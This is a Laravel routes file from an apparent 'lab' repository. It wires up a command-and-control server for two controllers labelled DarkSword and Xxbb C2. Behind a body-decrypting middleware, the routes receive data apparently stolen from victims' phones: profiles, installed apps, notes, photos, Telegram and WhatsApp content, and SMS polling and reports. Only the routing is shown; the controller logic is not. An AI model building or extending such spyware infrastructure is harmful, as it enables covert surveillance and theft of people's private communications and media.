Files
coruna-lab/routes/xxbb.php
T
2026-08-25 03:45:42 +08:00

39 lines
1.4 KiB
PHP

<?php
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Http\Controllers\C2\XxbbC2Controller;
use App\Http\Middleware\DecryptXxbbBody;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
$ds = DarkSwordC2Controller::class;
$xxbb = XxbbC2Controller::class;
$dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) {
return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) {
return DarkSwordC2Controller::matches($request)
? app($ds)->{$dsMethod}($request)
: app($xxbb)->{$xxbbMethod}($request);
};
};
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
Route::post('/a', $dsOrXxbb('profile', 'profile'));
Route::post('/u', $dsOrXxbb('apps', 'apps'));
Route::post('/event', $dsOrXxbb('event', 'event'));
Route::post('/nb', $dsOrXxbb('notes', 'notes'));
Route::post('/result', $dsOrXxbb('result', 'plugin'));
Route::post('/t', [$xxbb, 'photos']);
Route::post('/uj', [$xxbb, 'plugin']);
Route::post('/us', [$xxbb, 'plugin']);
Route::post('/ub', [$xxbb, 'plugin']);
Route::post('/ba', [$xxbb, 'plugin']);
Route::post('/api/tg/t', [$xxbb, 'telegram']);
Route::post('/api/wp/t', [$xxbb, 'whatsapp']);
Route::post('/m/t/g', [$xxbb, 'smsPoll']);
Route::post('/m/t/r', [$xxbb, 'smsReport']);
});